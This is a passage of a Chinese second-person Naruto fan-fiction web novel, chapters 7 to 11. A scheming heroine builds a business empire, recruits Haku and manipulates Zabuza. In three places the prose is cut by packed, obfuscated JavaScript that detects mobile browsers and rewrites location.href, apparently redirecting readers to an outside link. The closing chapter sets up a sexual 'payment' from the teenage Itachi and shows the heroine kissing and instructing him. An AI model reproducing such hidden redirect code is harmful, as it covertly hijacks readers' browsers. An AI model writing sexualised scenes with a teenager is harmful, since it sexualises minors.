《人在忍界,绑定了大资本家系统》 7. 第 7 章 你在等待鼬的回答,更在期待他脸上浮现出被羞辱的愠怒神色,你的视线一遍又一遍地描摹着他的侧影,试图从他漂亮精致的眉眼间找出一丝一毫生气的痕迹。 然而事实让你失望,他非但没有生气,还那么平静地点头说:“可以,这就是我要付出的代价吗?那我选择接受。” 什么啊……直接就接受了吗?居然没有其他的反应吗?你抿抿唇,不过说出口的话也没有再收回的道理,因此你说:“那么就说好了。” 他肯定不知道你还会有多少手段在等着他,计划得逞的你随意地对他摆摆手,示意他可以走了,他听话地起身要走,但是走到门口又转过头问:“这是只和我一个人的约定吗?” 你又把床头柜上那本杂志捞起来继续看,抽空瞥了他一眼,“是啊。” 你也是后来才知道他这句话的言外之意就是问你应该没有和止水定下这样的约定吧。 但这些都无所谓了,因为你打算在解决宇智波的事情以后离开木叶一趟。 真是不容易,你在木叶苟了那么多年总算是能够出门了,这次出门主要是为了实地视察你的产业,顺便再去你建立的那家孤儿院如何,尤其是那些个有血继限界的孤儿,日后可都是你的安保团队的主力军啊。 不过你出门,而且还是出远门肯定得要再雇个保镖,准确来说是忍者。 因为不想引起木叶的注意,所以你雇佣的是其他村子的忍者,好像就是你开的第一家店所在雾隐村的忍者,至于名字是什么,你没仔细看,这些忍者的名字都稀奇古怪得很,不认真记都记不住。 言归正传,你前一天晚上刚刚答应鼬会替他解决宇智波和木叶之间的矛盾,你办事效率是何其的高,前脚刚答应下来,后脚就给火之国的大名写信,晓之以理动之以情。 好吧,其实就是威胁他们如果不干涉这件事情的话你就要把自己的工厂还有产业迁出火之国,少了你这个纳税大户缴纳的税款,看他们来年的财政窟窿该怎么补上。 火之国的大名只是傲慢,但也不傻,分得清孰轻孰重,所以也麻溜地下达一封文书。 没过几天鼬就发现之前还在对着宇智波叫嚣着他们是木叶威胁的高层忽然就跟狗一样乖巧地对此闭口不谈,虽然他不知道你做了什么,但你确实挽救了宇智波。 他正想要回去好好感谢你,但回到家才知道你已经出远门去了,佐助还有些担心,他对哥哥说:“明希说一个人待在木叶太无聊了,所以就直接出去旅游了,这样会不会太危险了啊?” 不是会不会的事情,而是肯定很危险的事情,鼬在心里这么想,他想着你还没走远,他可以陪着你出远门,但是佐助又给他递来一封信,他拆开一看,折叠的信纸上只写着一句简短的话—— 别跟过来。 那语气就像是在对待粘人的小狗。 你就连他现在的想法都料到了吗?他收起信件,佐助还好奇地问:“明希她给哥哥你写了什么啊?” “她让我放心。” “就只是这个吗?”佐助大有一副刨根问底的架势,没办法,谁让你只给他的哥哥留了信,却没有给他留呢?他的心里还觉得有些不平衡呢。 鼬点头,肯定地说:“是的,就只有这些。” 佐助又瞧了一眼鼬手里的信,闷闷地说:“好吧。”伴随着年纪的增长他愈发能够感受到自己和你们之间的距离好像越来越远了,他无法介入你们之中,这种感觉常常让他觉得很郁闷。 不同于佐助的郁闷,你在离开木叶以后顺利地和那个负责护送你的忍者接头。 “嗯……是桃地先生对吧?”你勉强还记得他的姓氏。 脸上缠绕着一圈又一圈绷带的再不斩瞥了你一眼,虽然你这话说得很有礼貌,但你的姿态看上去就不像是个有礼貌的家伙,后面在路途中的种种迹象表明你确实是个性格恶劣的家伙,他说:“现在可以开始赶路了吗?” 你反问:“桃地先生对每个护送任务的委托人都是这幅态度吗?” 再不斩的态度冷淡,眼神扫过来,无声地问:你到底想说什么? 你耸耸肩,丝毫没有被他的眼神吓到,你说:“我只是在想如果有委托满意度调查表的话,桃地先生一直冷着一张脸很可能会被当成服务态度差劲的那一类忍者呢。” 说是赶路,但因为你不太适应被他抱着飞来飞去(飞得你想吐),所以大部分时候你们都是在悠闲地走路。 “忍者本身就是工具,对于工具便只有是否锋利趁手这一评价标准。” 啊……这种忍者就是工具的观念真是深入人心呢,你都要怀疑是不是一场集体洗脑了,为的就是让上层人更好地统治这些忍者。 “也不一定。”你觉得忍者的业务可以拓宽一些,而且现在这种一个村子一群忍者的模式有些低效,要是能够建立统一的平台,然后将世界各地忍者的信息放在平台上,直接实现委托人和忍者直接的任务对接。 这样想必也会高效很多,当然了,还是要抽取一些平台手续费的,这还只是个初步想法,没有完全成型。 再不斩和你相处一段时间后就发现你和以往的委托人不太一样,性格恶劣不说,你常常会仗着自己的长相漂亮做一些损人利己的事情,被他发现了也不过是尴尬却又毫无悔意地对他笑一下。 白天的时候你习惯自己步行,到了晚上你吃了几颗晕车软糖戴上眼罩,往他的怀里一钻,对他比了个“可以了”的手势,他就带着你开始夜间赶路,这也是无奈之举,不然按照你这个速度到达雾隐村都要是大半年以后的事情了。 偶尔在路上也会遇到强盗一类的偷袭者,有的是为了财,有的是为了别的,但他们的下场出奇的一致,都是被再不斩解决。 他在树下杀着人,你在树上看月亮,等人杀完了,你就低头对他招手,说来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16539826|186605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看月亮。 长刀还在滴血,再不斩没听你的话,他又不是你的狗,没必要句句话都听。 他不上来,你只好下去,但你是他帮着抱到树上的,上去容易下来难,你最后挂在枝头,双手抓住树干,夜风一吹,吹动你暗红色的衣摆,就像是一朵缀在枝头的海棠花。 而这朵海棠花在骂骂咧咧,说着树枝太高,你的手好酸。 “我要掉下来了。”你说,这不是开玩笑,而是个预告,下一秒你的双手就因为没力气而松开。 海棠花啪嗒一下掉进桃地里,你笑嘻嘻地对他说:“你这不是能接住我的嘛。” 再不斩感到莫名的烦躁,他倏地一下松手,你双脚落地,跺了跺脚,看到尸体也不惊讶,而是问他最多能一分钟杀多少人。 前一秒还在嘟哝自己手掌被粗粝的树皮隔得发红的人,后一秒就问出这个问题。 再不斩擦干净刀剑,沉默不语,你其实是想通过这个问题来计算工作效率的,但他不说你也没办法。 杀人只是个小插曲,插曲的最后一个音符飘散,你们也就继续向前走。 终于要到雾隐村了,再不斩才知道你的真实身份,原来你就是那个开设了许多店铺甚至还开了一家孤儿院的幕后老板。 “怎么,你不应该惊讶得睁大眼睛吗?”你颇为骄傲地扬起下巴,再不斩确实有点惊讶,因为他还以为做出这么做举措的人应该是年长而成熟的智者,绝不是你这种性格恶劣,喜欢为难人的小鬼。 “那你倒是很擅长隐藏自己的身份。”这话在再不斩那里都算是夸奖了,但你觉得是阴阳怪气,你都已经到了雾隐村他对你来说也就没什么用了,你对他挥挥手,“再见了桃地。” 再不斩后来才知道你压根没仔细记他的名字,所以才称呼他为桃地先生的。 真是惹人厌的小鬼。 你在雾隐村里到处视察,因为其他人也不会把你和幕后大老板联想到一块,只是你的长相确实容易带来一些麻烦,因此你学着再不斩的样子给自己的脸上缠绕一圈圈的绷带,反正忍者的装扮都很奇装异服,你混入其中也不起眼。 就在你视察雾隐村的时候,远在木叶的鼬还在等待你的消息,尽管你并没有向他保证过你会写信回来,但他仍旧在等待,母亲美琴叫他去收床单,母子俩站在天台上配合着收床单,她看出来自己大儿子的心思,就说:“明希肯定还会回来的。” 结果鼬却说:“我并没有担心她不回来。” “那你在担心什么呢?” 鼬若有所思,他只是觉得你这样好的人肯定又会吸引很多人飞蛾扑火,所以他说:“我担心又会有很多人贴过来。” 美琴忍不住笑出声,“鼬的样子就像是担心恋人出轨的妻子呀。” 鼬没否认,他的直觉是对的,因为你在雾隐村确实见到了许多热情的人,那个名为白的孩子见到你就愣在原地。 8. 第 8 章 你能记得白的名字单纯是因为他的名字很简单,自然而然地就记住了,当你在孤儿院见到那孩子的时候,你就像是曾经见过他许多次那样熟练地对他招招手,说:“白,过来。” 那长相秀气精致的孩子愣了好一会才反应过来,走过来的时候身躯都在微微颤抖,不是因为恐惧,而是因为难以置信,不敢相信,你就这样出现在他面前,那位大人,救他于水火之中的存在,甚至还肯定了他存在的意义。 因为太激动了所以就连准备好的敬语都没有说出口,先从嘴巴里跑出来的是断断续续的抽泣声,他抬手擦去自己的眼泪,不应该在你面前哭泣的,这样实在是太失礼了,会给你留下糟糕的印象的吧。 他强行克制住自己的眼泪,泪眼朦胧地看向你,“抱歉,我太失礼了,请您见谅。” 哭得眼圈都红彤彤的孩子却仍旧说着一板一眼的敬语,这画面充满了反差感,你揉了揉他的头发,他的年纪比佐助大两岁,但因为年幼时长期流浪营养不良,所以身高反而和佐助差不多,只高那么一点,你说:“不用对我说敬语的。” “但是。” “说敬语的话会给人一种距离感,但我一见到白就觉得很亲切,就好像我们已经认识了很久。”你轻声细语地说,又用手帕擦去他脸上的泪珠,他的嘴唇动了动,没说出一句完整的话,他说:“我……” 你接过话头,“好了,接下来带我去看看你平常都是怎么修炼的吧,我听院长说你每天都刻苦修炼,有的时候都没好好吃饭,虽说训练固然重要,但一日三餐也不能马虎。” 那些你随意说出口的话都被他铭记于心,你收起沾了泪的手帕,牵起他的手走向训练场,他的手和佐助的手一样掌心还有指腹都有一层薄茧,这些都是长期训练留下的印记。 你虽然住在宇智波家,但是修炼基本上是没有的,也就只有心血来潮的时候会偶尔跑跑步,你知道自己的体质就是普通人,保持还算健康的身体素质就行,忍者这条赛道你是没办法挤进去了。 你的手掌柔软温暖,他低头盯着被你牵着的手,似乎是想要将这一幕清楚地记下来。 到了训练场,你这才松开手,他的手垂了下去,心情也莫名有些失落,你留在他掌心的余温很快就散去,他收拢手掌企图留住这余温,耳边传来你的声音,“可以向我展示一下你的天赋吗?” 不是冷冰冰的血继限界,而是将其称之为天赋,就像是上天赐给他的礼物,就好像他是被幸运眷顾的孩子。 “嗯,当然可以!”白飞快地点了点头,脚步轻快地跑到这个露天训练场中央,他经常来这里训练,因为他的能力杀伤力太广,所以基本上没有别的孩子来这里训练。 久而久之地,这也就成了他的专属训练场,他在训练场中央站定脚步,略带紧张地偷瞄你一眼,发现你始终浅笑着注视着他,他又是紧张又是激动地眨了好几下眼睛。 然后深吸一口气,坚硬的寒冰瞬间从他周围刺出,以他为中心绽放出一朵尖锐而美丽的冰雪花朵,每一片花瓣都锋利无比,可以轻而易举地刺穿敌人的身体,顷刻间就能叫人毙命。 不过这还只是个开始,他在孤儿院导师的指引下自己摸索出了很多招数,例如变幻成成百上千细针的,化作针雨铺天盖地向敌人攻去,又比如冰块组成的锁链限制敌人的行动。 在此之前他还没试过一口气使用那么多的忍术,但因为你想要查看他的修炼进度,所以才会咬着牙几乎用尽自己最后一丝力气来展示自己的能力,用这些行为无声地告诉你:我很有用,所以不要抛下我。 等你察觉到他能力透支的时候他已经因为体力不支而摇摇欲坠,你绕开那些冰块抱住他。 昏迷前的白还在想自己居然没能坚持下来,会让你失望的吧…… 你抱着昏迷的白回到他的宿舍,因为这些拥有忍者天赋的孩子总是早出晚归的修炼,所以孤儿院给他们配备了独立的宿舍避免他们打扰其他的孩子。 白的宿舍和他给人的感觉一样干净整洁,没有太多东西,你腾出一只手去开门,门一打开,就有一只灰色兔子跳了出来,发现的人除了主人以外还有个陌生人,就有些奇怪地嗅了嗅你裤腿,又用毛茸茸的爪子扒拉小主人的小腿,看得出来很担心他。 你把白抱回他的床铺上,又对那只看起来很聪明的灰兔子说:“你的主人就是有点累了,休息一会就好。” 灰兔子歪了歪脑袋,应该是听懂了吧,你拉过椅子在白的身边坐下,你也不是坐在那里发呆的,你顺便点开系统查看你其他产业的情况,说你是日理万机都不为过。 你其实有过给自己培养一个秘书的想法,你听院长说白他天生聪慧,不光是在修炼上有天赋,其他文化课也很优秀,成绩一直占据第一,你想自己应该是找到合适的秘书人选了。 只不过他现在还没到能胜任秘书的年纪,在此之前你还是先找个替代品吧,抱着这样的想法,你开始搜罗其他合适的人选。 但怎么说呢,挑来挑去,挑花了眼都没挑到自己称心如意的,你身边的宇智波确实都挺聪明的,但是性格太轴,而且你还得提防他们背后搞什么小动作。 算了,还是先自己熬一熬吧。 等你事务处理得差不多了,平躺在床上的白皱了皱眉,缓缓睁开眼睛,有些模糊朦胧的视野里出现你的侧影,你坐在床边怀里还抱着他的兔子格洛,你的手有一下没一下地抚摸着兔子的脑袋。 他的视野逐渐变得清晰,他清醒过来以后就跟鲤鱼打挺似的坐起来,“明希大人、啊,明希——您,我,刚才在你面前献丑了实在是抱歉!” 差点没绕过弯来又要用敬称来称呼你,陡然想起你 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这个时间点还有不少孩子在花园里嬉戏打闹,你的出现也引起其他人的注意,只不过他们并不知道你就是那位创建孤儿院的幕后老板,还以为你是来做客的客人,所以只是被你的长相吸引了目光,在你走后又不约而同地讨论起你这位突然到来的神秘客人。 毕竟他们都不知道你的长相,更不知道你的真实身份,只有极少数人才有知情的资格,而他就包括其中,跟在你身边的孩子心中满是雀跃,被人当做特殊的,独一无二的存在是一件多么令人高兴的事情啊。 等你们走到花房里,长桌上已经摆满了点心还有一壶牛乳茶,你担心他喝不惯茶味,就先给他倒了一杯热牛乳。 他捧着杯子喝了一口,又忍不住去看你,漂亮的眼睛像是剔透的宝石。 “好喝吗?” “好喝。” 你又把点心推到他的手边,示意他多吃几块。 白还有很多问题想要问你,比如说你来这里会停留多久呢?是不是明天就要走了呢?他什么时候才能跟随陪伴在你身边呢? 但是这些问题都隐没在点心里,他小口小口地吃着点心,这一刻的幸福让他小心翼翼,真希望时间能走得慢一些。 在你和白享用下午茶的时候木叶的鼬还在给你的房间开窗通风,顺便擦拭你的书桌还有书架,这样等你回来的时候房间仍旧是纤尘不染的。 止水调侃他的行为像是贤惠的恋人,鼬反倒是很平静地说:“是啊,就是恋人,所以止水最好也别对她僭越了啊。” 非常直接地,像是已经酝酿了很久地说出这番话,告诫自己的友人要有分寸感。 止水奇怪地问:“所以她同意你的交往请求了吗?” 鼬说:“就快了。” 什么叫做就快了?说到底不还是没有表白吗? 9. 第 9 章 白是个非常贴心的孩子,而且也很懂事,虽然比佐助大不了几岁,但在察言观色上可谓是差距悬殊,不过这也不难理解,毕竟在爱里长大的孩子总归是会骄纵一些,这就愈发显得后者更加惹人怜爱。 没有谁会讨厌长相漂亮又懂事的聪明孩子,更何况你已经决定培养他成为你日后的秘书,因此你对他的态度也是更加亲近,白在听说你的决定后他愣了几秒才反应过来,斟酌用词地问道:“秘书……你的意思是允许我日后能够留在你的身边吗?”他别扭地说着平语,小心翼翼的样子让人愈发觉得可怜。 “是的,我会把很多事情,包括机密文件和核心数据都交给你,你可以说是我的左膀右臂,我不可或缺的伙伴。” 听你那么说,白的脸颊微微泛红,他感觉到有些不好意思,原来你这么信任他吗?既然如此,他也决不能辜负你对他的期望,他挺直背脊,严肃认真地说:“我一定会让您满意的!” 一个不留神敬语又跑出来了,你笑着摸了摸他的头发,“也不用那么严肃的啦。” 白笑得眉眼弯弯,“但是,这是明希你给我的任务,也是我存在于这个世界上的意义呀。” 话题莫名就变得有些沉重了,或许是因为这个世界常年战乱,所以生活在这个世界里的人在情感方面多多少少都有点问题,在你看来就是太容易受到感情的影响了,当然,这对你来说也是个好处,毕竟你可以和这些员工打感情牌,而且他们还非常吃这一套。 你只不过是在充分利用这个世界的现有条件而已,你想,丝毫没有欺骗他人感情的愧疚。 在雾隐村停留几天,这几天白都像是小尾巴一样跟在你身后,每次你一回头就能看见他圆溜溜的双眼,一眨不眨地盯着你看,虽然很想粘着你,但是到了修炼的时间也还是会乖乖地去修炼,你也正好趁着这段时间去找你先前委托的那个忍者结尾款。 运气不错,那个忍者正好这几天休息,你在居酒屋找到了他,手里拿着一杯冰水,桌上摆着一碟子水煮毛豆还有花生和凉菜,你理所当然地直接在他对面的位置坐下,说:“来了居酒屋怎么不喝酒光吃菜啊?” 再不斩知道这家居酒屋也是你的产业,你是这里的老板,他说:“直接说吧,你找我有什么事?” “很重要的事。” 服务员来问你要点什么,你说来一杯鲜牛奶,惹来再不斩的嗤笑,等服务员走了他便说:“还在喝牛奶的小鬼要和我谈什么正事?” 啊,这种仗着自己年纪大一点就开始年龄歧视的家伙让你想要将他的骄傲还有尊严都狠狠踩在脚下啊。 不过嘛,现在他还有用,你就勉强忍一忍吧,服务员端着鲜牛奶过来,这应该是从冰箱里刚拿出来的,还有点冷,玻璃杯外壁积攒起一层水珠,你用餐纸巾擦去水珠,又说:“我是来找你结尾款的。” “这种事情你直接去办公大楼的任务处结尾款就行了。”他放下那杯冰水,根据他对你的了解,你不像是会多此一举的人,所以,你说的尾款和他想的尾款是一回事吗? “直接私下给钱的话不用经过上面的程序,你也能多拿一些,这样不好吗?”这其实就跟绕过平台直接私底下达成交易是一样的,只不过这里的人好像还没有这种概念。 再不斩微微眯起眼睛,“你真有这么好心?” “为什么要去追问他人的想法?只看我的所作所为也能看得出来我是个好人吧?”正所谓君子论迹不论心吗,不就是这么个道理吗? 再不斩沉默片刻,而后才说:“收下你的钱肯定还要付出什么代价,别以为我不知道。” “的确如此,这一点我不否认,但如果这个代价对你来说也是一个好处呢?”你喝了一口鲜牛奶,冰得你牙齿有点痛,再不斩双手环胸,说:“那到底是什么?” “不久后你就会知道的。”说着,你叫来服务员结账。 问过再不斩以后得知他接下来几天都是休假,你便说:“那你再送我回木叶吧。” “说了这么多你只是为了这件事?” “当然不是。” 结过账,你起身径直离开这家居酒屋,时间一晃眼很快就到了你回木叶的日子,最舍不得你的莫过于白,他还专门送你到雾隐村的出口,“我会很快成长成一个合格的下属,绝对不会让你失望的。” 再不斩在走出一段路后就说:“这才是你真正的目的吧?利用孤儿院来为自己搜罗人才,然后吸收成为自己的力量,下一步你还想要做什么呢?” 虽然他对你的产业没有细致的了解,但他在出任务的途中也不难发现你的产业几乎遍布这个世界,你已经拥有了这样强大到可怕的财力,接下来想要做什么他都不敢想象。 你是想要统治这个世界吗?成为世界的独裁者吗? “我的下一步就需要你的帮助了。”你言辞诚恳。 可再不斩不相信,鬼知道你靠着这张巧舌如簧的嘴巴都骗过多少人,骗得多少人心甘情愿地为你卖命。 “是么?” “是啊,你可不要低估自己的实力啊,而且我知道的,你其实也对现在的局面感到不满不是吗?现任水影的手段太过残忍,你也因为他的命令而不得不杀死自己的朋友——” “够了!”再不斩厉声打断你的话,看到他生气你也不害怕,因为他动怒了就说明你刚才说的话触动了他的内心,想要说服一个人必然要突破对方的心理防线,所以你笑着观看他的怒火,犹如隔岸观火,你知道自己的计划已经成功了一半,等他的怒气消减了一些你才接着又说:“我可以帮你啊,帮你改变现在的局面。” “再多说一句话我就杀了你。”他冷声道,然后你就配合地不再说话,又走了一段路,时间来到晚上,你又吃了两颗晕车软糖,然后走到他面前,对他张开双臂,示意让他抱着你赶路,他估计是也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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到了木叶以后你还有很多事情要处理,但是首先要处理的就是那两个对你过分关心的宇智波。 鼬和佐助,他们一大一小的两个坐在餐桌旁边双眼一眨不眨地盯着你看,给你一种被两只猫盯上的错觉,你说:“你们一直这么盯着我是要做什么?” 佐助说:“明希你这次出远门为什么不和我们说一声呢?” 原因不是显而易见的吗?但凡你提前和他们说你要出远门,他们,不对,应该说是鼬肯定会用尽千方百计地跟着你,唉,他的控制欲什么时候才能收敛一点呢?难道他控制他弟弟还不够吗? “啊,我忘了。”你喝了一口茶,回答得很敷衍。 “你这回答未免也太敷衍了吧,我们可是很担心你的啊!”佐助气鼓鼓地说,往常到这时候他就要和你闹脾气了,但是现在没有,因为他害怕自己闹了脾气你就直接走人,就和这次不打一声招呼就离开木叶一样,他忽然意识到你其实并不属于宇智波,只要你想,你甚至可以随时离开,并且消失得无影无踪,这一点让他陷入前所未有的恐慌里。 有佐助做对照组,鼬就显得平静多了,当然也只是表面上的平静,他说:“没关系的,我知道明希只是觉得无聊了才出去逛逛的。”他这话说得非常善解人意,但同时也藏着另外一层意思。 那就是——我知道你终究还是会回来的。 10. 第 10 章 回到木叶以后的生活照旧,以前怎么过的现在就这么继续过,时间一晃眼就几年过去,唯一有些变化的地方就是鼬每个月给你打的钱更多了。 “我现在已经很有钱了。”现在的你可以理直气壮地说出这句话,没错,他面前站着的可是一位横跨多界成功资本家,啊不是,是企业家,缺钱是不可能缺钱的。 鼬装出一副没听懂你说这话的意思,把你推走的信封又给推了回去,然后说:“这只是我的一点心意而已。” 看他每个月给的数额也不算是一点心意啊,你说:“你又不欠我的。” 说起亏欠这件事,鼬的神色变得微妙,他说:“我只是想要那么做而已。” 最后还是无奈地收下这笔钱。 因为有鼬这个榜样,他的弟弟佐助在出第一次任务以后也有样学样地送来一个装着任务酬金的信封,不知道的还以为你在压榨他们兄弟俩呢,如果说你可以勉为其难地收下鼬的钱的话,那么佐助的钱你是万万不能收下的,毕竟再怎么说收小孩子的钱会让你仅剩不多的良心莫名有些不安。 所以你态度非常强硬地拒绝了佐助递来的信封,他丢下信封说着什么“总有一天我会超过我哥哥”这种莫名其妙的话气鼓鼓地离开了。 有时候真的搞不懂你们宇智波的脑回路。 等下次遇到佐助的队友也就是那个大名鼎鼎的漩涡鸣人时你就麻烦他多留意一下佐助,被你在大街上拦下来的鸣人愣了一下,这其实不是你和他的初次见面,早在很久以前,久到你自己都不记得的时候你就和他见过面了,那个时候的鸣人还在被村子里的孩子丢石头欺负,因为你的到来,那些孩子的注意力也纷纷被吸引。 原因也很简单,人类对于美丽到极致的人和事物就会像是飞蛾扑火一样地迎上去,就连鸣人也抬起头,拨开其他人的窃窃私语看向你。 只是一个简单的侧影,就让他愣在原地,额角的伤口渗出的鲜血滑入他的眼睛里,他的视野变得红通通的,可他还是无法控制地看向你。 说起来他应该感谢你的,如果不是你的出现的话,那场单方面的霸凌也不会戛然而止,但他想,你肯定听很多人说过谢谢,也听很多人表达过喜爱,他的感谢和喜爱就显得那么微不足道。 但是、但是,他从忍者学校毕业以后就和宇智波佐助分到同一个队伍里,这对他来说简直就是天大的好消息,他想他也总算是走运了一回,他和你之间的联系更多了一些,放在以前你肯定不会主动和他聊天的,更不可能请他吃拉面。 因为有你坐在他的身边,往常格外吸引他的拉面也没有那么美味了,就连老板都问:“鸣人你今天没胃口吗?居然没有马上开动呢。” “啊、啊啊——这个,那个。”鸣人心虚地看了你一眼,他小声地对你说,“谢谢你请我吃拉面。” “这不算什么,而且也是我要麻烦你替我多留意照看佐助。” “我会的,我肯定会的!”他活力满满地回答。 你喝了一口冰水,又问他最近的任务怎么样,鸣人知道你这是在关心佐助,他就像是沾了佐助的光,也被分到了一点你的关注,哪怕只是一点点也足以让他内心欢呼雀跃,他语速飞快地说着这些天都发生了什么,还有任务中的各种细节,都忘了吃拉面,等他说完拉面表面的豆芽都已经变冷了,他这才开动。 几碗拉面下肚,鸣人满足地眯起眼睛,看上去更像是小狐狸了,你说时间不早了他也该回家了吧,他睁开眼,干巴巴地说:“啊、噢,那我就回家啦。”可他其实更习惯把那个地方称为公寓,毕竟空无一人的地方算不上是家。 鸣人曾经有幸去过佐助家,那里几乎符合一切他对于温馨家庭的想象,温柔的母亲还有严格却细心的父亲,以及一位优秀的兄长,还有你。 虽然他只去过一次,但是那次经历构筑了他对美好家庭的向往,成为他想象的基础,毕竟人是无法想象出从未见过的东西的,他窥见幸福家庭的一角后也得以将这份想象的本源保留下来。 鸣人从未将这件事情对别人透露过,他只是,非常安静地藏在心底而已。 直到与你告别,他朝着自己公寓的方向走去,走了一段路,又没忍住回过头,发现你走在路灯下的身影都在微微发光,他又像小时候那样愣在原地,看着你一点一点地走远。 反正你也不会回头的,所以他可以长久地注视着你,他这样对自己说,可是在下一秒,你忽然回过头。 你看见了他。 鸣人吓得身形抖了抖,身体的颤抖更像是内心惊喜的余韵。 拜托了,表现得正常一些吧,他深呼吸一口气,对你挥挥手,笑容灿烂地说:“再见啦——!” 你也举起手挥了挥。 * 等你回到宇智波族地,守在门口的佐助一见到你就埋怨道:“父亲说你今天没有加班,怎么还是这么晚才回来啊?” 没等你回答,他又嗅了嗅,像是小猫一样检查你身上的气味,他蹙眉,“你在外面用过餐了?身上怎么一股拉面的味道。” 好敏锐的嗅觉啊,你说:“嗯,我遇到了鸣人,顺便请他吃了一碗拉面。” “啊、”他这幅表情就像是发现家里的人类不光出门去找别的动物,而且找的还是犬科动物一样难以置信,“你干嘛……那么做啊,你和他很熟吗?” “还可以。” 说着,你从他身边走过,走到玄关处去换鞋子,佐助因为你过分简略的回答而急得团团转,什么时候,什么时候你和鸣人那么熟悉了啊?在他看不见的角落里你怎么直接称呼他的名字了呢? 佐助虽然很急,但也没有打扰你吃晚餐,你没在拉面店吃东西,因为觉得拉面太咸了,你在餐桌旁坐下安静地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16539829|186605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 享用属于自己的那一份晚餐,在此期间佐助好几次看向你,眼神巴巴地,可什么都没说,直到你用完晚餐,他帮你把餐盘端到厨房,自顾自地替你开始洗餐盘,又问:“你什么时候和他那么亲近了啊?” 拧开水龙头,水流哗啦啦地,他的声音被水流声掩盖,显得闷闷的。 你说:“他是你的队友,而且我和小樱的关系也很好。” “仅仅是因为他们是我的队友吗?” 你歪了歪脑袋,“那你还想要什么样的回答呢?” 佐助也不知道,他总觉得你对任何人都若即若离,你好像不会对谁产生留恋。 郁闷的佐助埋头洗碗,你从厨房离开,今天鼬去参加宇智波的集会了,估计要等到后半夜才回来,但和你也没什么关系,你洗漱过后就靠在床头查看白给你的写的信件,中间还夹杂着两张他最近的照片,虽然只比佐助大没两岁,但是白的性格更加成熟稳重,你也是从今年开始逐渐将自己手头的事务转移到他手上,他也该学着如何当一个合格的秘书了。 这样一来你的工作压力也就减轻了不少,甚至还能空出一些时间来放松,真不容易,你忙碌了这么些年总算是能享乐一会了。 你看书看到一半,忽然听见敲门声,好了,这场景已经出现过无数遍,你就算不开门也知道对方是谁,你在想他难道就没有别的事情要做吗? 走下床,缓步来到门前,打开门,映入眼帘的是黑发少年的剪影,你靠着门框,懒洋洋地问:“茶话会结束了?” 听你将宇智波集会形容为茶话会,鼬也不生气,反倒还跟着笑了起来,他也觉得这说法生动形象而且还带着几分讽刺。 “是啊,结束了,所以我想来看看你。”他说,他的嗓音在变声期后就显得更加低沉,不过他好像没有很明显的变声期,同龄人逃不过的公鸭嗓他也照样没有,是那么完美,几乎挑不出任何瑕疵。 你想说大晚上的有什么好聊的,但是你仔细一看,当你的注意力转移到他身上的时候,你的五感也被调动起来,先是嗅到他身上那股绿茶清香,那似乎是他特意挑选的沐浴剂香味(你后来才知道是因为你那阵子好像很喜欢喝绿茶),沐浴后朦胧而温热的水汽萦绕在他身周,有如丝绸般柔顺的长发披散在他的肩头,有几缕长发滑到胸前,他的眼睫轻颤了一下。 好了,你又不是什么神经大条的人,你一眼就看出他的真实目的,你说:“所以你不是单纯地来和我聊天的吧?” “啊……被发现了吗。”他的眼波流转,唇角微微上扬,笑了一下,“为了答谢你当年的帮助,我只是履行我的承诺而已。” “噢,你说那次帮助的报酬吗?”因为你每天要处理的事情太多,你都已经把这回事给忘了。 少年精致秀气的面容放大几分——他俯身向你靠近,“是啊,我该如约向你献身了。” 11. 第 11 章 他进门的时候屋外隐约下起朦胧细雨,不是雨珠而是一缕一缕细密的雨丝,没什么太大的动静,更像是让人放松下来的白噪音,你说自己还有几页书,先等你看完吧。 你知道自己这样很不解风情,但你不喜欢做事情做到一半被打断的感觉,所以只能让他暂时等一会了。 你说看书那就是正儿八经地低头认真看书,反正也就只剩下几页了,看到最后一页的时候鼬就像是算准了你看完的时机,从你身后将你拥入怀,从你手里接过那本书合上放在床头,然后你的耳边又响起他的声音,“别看书了,看我。” 不知道为什么,后来的你已经忘了自己是出于什么心情才轻笑出声的,总之,你就是笑了,你转过身,直视他的双眼,他们说不要直视宇智波的双眼,因为写轮眼实在是太可怕了,但你不这么觉得,你曾经捧着鼬的脸,对他说,给我看看你的一勾玉,然后再是二勾玉,这行为就像是把黑猫从阳光下和室内抱来抱去以此观察猫瞳的变大变小。 “好吧,那你现在有什么头绪吗?”你说,刚才鼬把书放到床头柜的时候顺手把床头灯给关了,现在屋内唯一的光源就是外头的月光,你的脸庞隐没在那片朦胧暧昧的阴影里,他看得很清楚,你眉眼间的狡黠。 “我学过的。”他说得很认真,要是你追问下去的话他还能说出自己的阅读书目,他是个好学生,知道提前学习。 你叹息一声,“学过和做过是不一样的,算了,我教你吧。” “先是亲吻。”你说着,指腹摩挲他的嘴唇,少年的唇形很漂亮。 你的亲吻轻柔得如同羽毛,那么轻飘飘,却又在他的心间荡开一圈又一圈的涟漪。 学习什么东西都是循序渐进的,你低垂眼帘,文学作品里总说闭上眼睛才显示出吻的虔诚,但你不信这些,你是说,如果闭上眼睛你又该如何捕捉到对方轻颤的眼睫呢? 错过这些未免也太可惜了一些,因此你看得很仔细,那吻也很仔细,先前你也说过了,他是个好学生,一点就通,也会举一反三,所以当他的手臂环绕着你的腰腹一点一点地学着你的动作时你也不奇怪。 